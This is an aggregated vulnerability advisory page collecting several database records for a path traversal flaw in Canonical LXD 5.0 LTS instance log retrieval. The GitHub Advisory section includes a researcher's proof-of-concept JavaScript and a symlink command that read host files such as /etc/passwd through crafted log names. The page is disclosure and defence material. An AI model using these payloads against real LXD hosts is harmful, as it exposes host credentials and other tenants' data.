Path Traversal in LXD Instance Log File Retrieval

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Path Traversal in the log file retrieval function in Canonical LXD 5.0 LTS on Linux allows authenticated remote attackers to read arbitrary files on the host system via crafted log file names or symbolic links.

Source published

2 Oct 2025 10:43:58 UTC

Source modified

2 Oct 2025 15:53:20 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Path Traversal in the log file retrieval function in Canonical LXD 5.0 LTS on Linux allows authenticated remote attackers to read arbitrary files on the host system via crafted log file names or symbolic links.

Source published

Oct 2, 2025, 10:43:58 AM (timezone not stated)

Source modified

Oct 2, 2025, 3:53:20 PM (timezone not stated)

Observed here

9 Nov 2026 03:10:05 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Path Traversal in the log file retrieval function in Canonical LXD 5.0 LTS on Linux allows authenticated remote attackers to read arbitrary files on the host system via crafted log file names or symbolic links.

Source published

2 Oct 2025 11:15:30 UTC

Source modified

12 Oct 2026 15:10:00 UTC

Observed here

25 Oct 2026 02:25:06 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

### Impact Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series. This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier. However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it. Implementation in vulnerable versions (LXD 5.0 LTS series): https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instance_logs.go#L152-L163 This function allows filenames starting with snapshot_ or migration_, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows: Implementation in fixed versions (LXD 5.21 and later): https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L665-L679 https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835 This function ensures that filenames do not contain /, \, or .. . Note that in Linux generally, path traversal like /not_exist_folder/../exist_folder/ is rejected within system calls and doesn't succeed. However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand. Related part of instanceLogGet function: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L218-L269 Related part of instanceLogDelete function: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L331-L347 In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName. ### Reproduction Steps All reproduction steps for this finding must be performed on LXD 5.0. 1. Log in with an account having access to LXD-UI 2. Open browser DevTools and execute the following JavaScript to attempt path traversal attack: ```js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousLogFile = encodeURIComponent('snapshot_../../../../../../../../../../etc /passwd'); const response = await fetch(`/1.0/instances/${instanceName}/logs/${maliciousLogFile} ?project=${projectName}`, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })(); ``` ### Description (2) A similar issue also exists in the validExecOutputFileName function: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L681-L688 For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified. However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack. ### Reproduction Steps (2) 1. Open terminal in instance using LXD-UI and create symbolic link: ``` ln -s /etc/passwd exec_XXX-symlink.stdout ``` 2. Execute the following JavaScript in browser DevTools to read files via symbolic link: ```js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousExecFile = encodeURIComponent(`exec_../../../../../../../../../../../var/ snap/lxd/common/lxd/storage-pools/${projectName}/containers/${ instanceName}/rootfs/root/exec_XXX-symlink.stdout`); const response = await fetch(`/1.0/instances/${instanceName}/logs/exec-output/${malic iousExecFile}?project=${projectName}`, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })(); ``` This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem. ### Risk This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host. This could lead to leakage of the following information: -​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.) -​ LXD database files (containing information about all projects and instances) -​ Configuration files and data of other instances -​ Sensitive information on the host system ### Countermeasures Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions: ### Patches | LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - Not critical | ### References Reported by GMO Flatt Security Inc.

Source published

2 Oct 2025 21:15:53 UTC

Source modified

10 Sep 2026 03:50:29 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH

Canonical LXD Path Traversal Vulnerability in Instance Log File Retrieval Function in github.com/canonical/lxd

Source published

5 Nov 2025 18:41:07 UTC

Source modified

5 Nov 2025 19:57:35 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.